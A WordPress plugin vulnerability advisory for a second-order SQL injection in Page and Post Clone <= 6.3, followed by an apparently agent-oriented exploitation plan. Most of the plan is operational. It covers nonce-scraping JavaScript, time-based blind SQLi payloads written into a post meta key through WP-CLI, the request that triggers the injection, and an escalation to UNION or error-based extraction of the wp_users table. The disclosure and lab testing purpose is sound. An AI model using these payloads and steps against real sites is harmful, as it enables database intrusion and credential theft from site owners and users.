Page and Post Clone <= 6.3 - Authenticated (Contributor+) SQL Injection via 'meta_key' Parameter
Description
The Page and Post Clone plugin for WordPress is vulnerable to SQL Injection via the 'meta_key' parameter in the content_clone() function in all versions up to, and including, 6.3. This is due to insufficient escaping on the user-supplied meta_key value and insufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The injection is second-order: the malicious payload is stored as a post meta key and executed when the post is cloned.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=6.3This research plan outlines the steps to exploit a second-order SQL injection vulnerability in the **Fast Page & Post Duplicator** (also known as Page and Post Clone) plugin. ## 1. Vulnerability Summary - **ID**: CVE-2026-2893 - **Vulnerability Type**: Second-Order SQL Injection - **Location**: `co…
Show full research plan
This research plan outlines the steps to exploit a second-order SQL injection vulnerability in the Fast Page & Post Duplicator (also known as Page and Post Clone) plugin.
1. Vulnerability Summary
- ID: CVE-2026-2893
- Vulnerability Type: Second-Order SQL Injection
- Location:
content_clone()function in the main plugin file. - Vulnerable Parameter:
meta_key(retrieved from the database metadata of the post being cloned). - Cause: The plugin retrieves all metadata for a post and uses the
meta_keyvalues directly in a new SQL query (likely anINSERTorSELECT) without using$wpdb->prepare()oresc_sql(). Because the payload is stored in the database first (as a post meta key) and executed later when the cloning logic is triggered, this is a second-order injection.
2. Attack Vector Analysis
- Entry Point 1 (Storage): The "Custom Fields" metabox in the WordPress Post Editor. A Contributor+ user can create a new post and add a custom field where the Name (the meta key) contains the SQL payload.
- Entry Point 2 (Trigger): The "Clone" or "Clone Post" action link found in the Posts list (
wp-admin/edit.php) or the admin bar. - Authentication: Authenticated (Contributor or higher). Contributors have the
edit_postscapability, allowing them to create posts, manage custom fields, and trigger the plugin's cloning functionality. - Endpoint:
wp-admin/admin.php(oradmin-post.php), specifically the action that triggerscontent_clone().
3. Code Flow
- User Action: A Contributor creates a post and adds a custom meta field via
wp-admin/post.php. - Database Sink (Storage): WordPress core saves the malicious string into the
wp_postmetatable in themeta_keycolumn. - Trigger: The user clicks the "Clone" link for that post.
- Processing: The plugin's cloning handler (likely hooked to
admin_initoradmin_action_...) callscontent_clone(). - Vulnerable Logic:
- The function retrieves meta for the source post:
$meta_list = $wpdb->get_results("SELECT * FROM $wpdb->postmeta WHERE post_id = $id"). - It iterates through the results:
foreach ($meta_list as $meta) { ... }. - Inside the loop, it constructs a query using
$meta->meta_keywithout escaping:$wpdb->query("INSERT INTO $wpdb->postmeta (post_id, meta_key, meta_value) VALUES ($new_id, '$meta->meta_key', '$meta->meta_value')").
- The function retrieves meta for the source post:
- SQL Injection (Sink): The database executes the injected SQL fragment contained within the
$meta->meta_keyvariable.
4. Nonce Acquisition Strategy
The cloning action is protected by a WordPress nonce, usually appended to the URL in the Post List table.
- Create Target Content: Use WP-CLI to create a page containing a standard post list or simply navigate to the admin area.
- Navigate: Use
browser_navigateto go tohttp://localhost:8080/wp-admin/edit.php. - Extract from DOM: The "Clone" link is added to the row actions for each post.
- JS Extraction:
// Find the link for the post we created (e.g., with title 'SQLi-Target') const cloneLink = Array.from(document.querySelectorAll('.row-actions .content_clone a')) .find(a => a.href.includes('action=content_clone')); cloneLink ? cloneLink.href : null; - Nonce Parameter: The nonce is typically found in the
_wpnonceornonceURL parameter.
5. Exploitation Strategy
We will use a time-based blind SQL injection payload to confirm the vulnerability.
Step 1: Storage (The Payload)
We need to insert a custom meta key into a post. We can do this via WP-CLI or the UI.
- Payload:
valid_key', (SELECT 1 FROM (SELECT(SLEEP(5)))a), 'value')-- - - Logic: This attempts to break out of the
VALUESclause of anINSERTstatement.
Step 2: Triggering the Injection
Send a request to the cloning endpoint using the http_request tool.
- Method:
GET - URL:
http://localhost:8080/wp-admin/admin.php - Query Parameters:
action:content_clone(inferred from function name)post:[POST_ID]_wpnonce:[EXTRACTED_NONCE]
Step 3: Analysis
- If the request takes > 5 seconds, the SQL injection is confirmed.
6. Test Data Setup
- Create Contributor:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Create Source Post:
wp post create --post_type=post --post_title='SQLi-Target' --post_status=publish --post_author=attacker(Capture the ID). - Add Malicious Meta Key:
wp post meta add [POST_ID] "meta_key_payload' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" "dummy_value"
Note: If WP-CLI'spost meta addescapes the key too well, the agent may need to usewp db queryto insert it directly intowp_postmeta.
7. Expected Results
- A successful
http_requestto the cloning URL will result in a server-side delay equal to theSLEEP()duration. - The plugin may create a cloned post, but the primary goal is the execution of the injected SQL.
8. Verification Steps
- Check for Cloned Post:
wp post list --post_title='SQLi-Target (Copy)'(or similar naming convention the plugin uses). - Database Error Log: If
WP_DEBUGis on, check/var/www/html/wp-content/debug.logfor SQL syntax errors which often confirm the injection point. - Manual Query Verification:
wp db query "SELECT * FROM wp_postmeta WHERE meta_key LIKE '%SLEEP%'"to ensure the payload was stored correctly before triggering.
9. Alternative Approaches
- Payload Variation: If the sink is not an
INSERTbut aSELECT(e.g., checking if the key already exists), use:any_key' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Action Name Guessing: If
content_cloneis not the correct action, inspect the source code foradd_action('admin_action_...')oradd_action('wp_ajax_...')to find the exact routing identifier. Common aliases:ppc_clone,duplicate_post_clone. - Data Extraction: Once time-based is confirmed, escalate to
UNION SELECTorError-Basedif the plugin outputs database errors to extract thewp_userstable.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.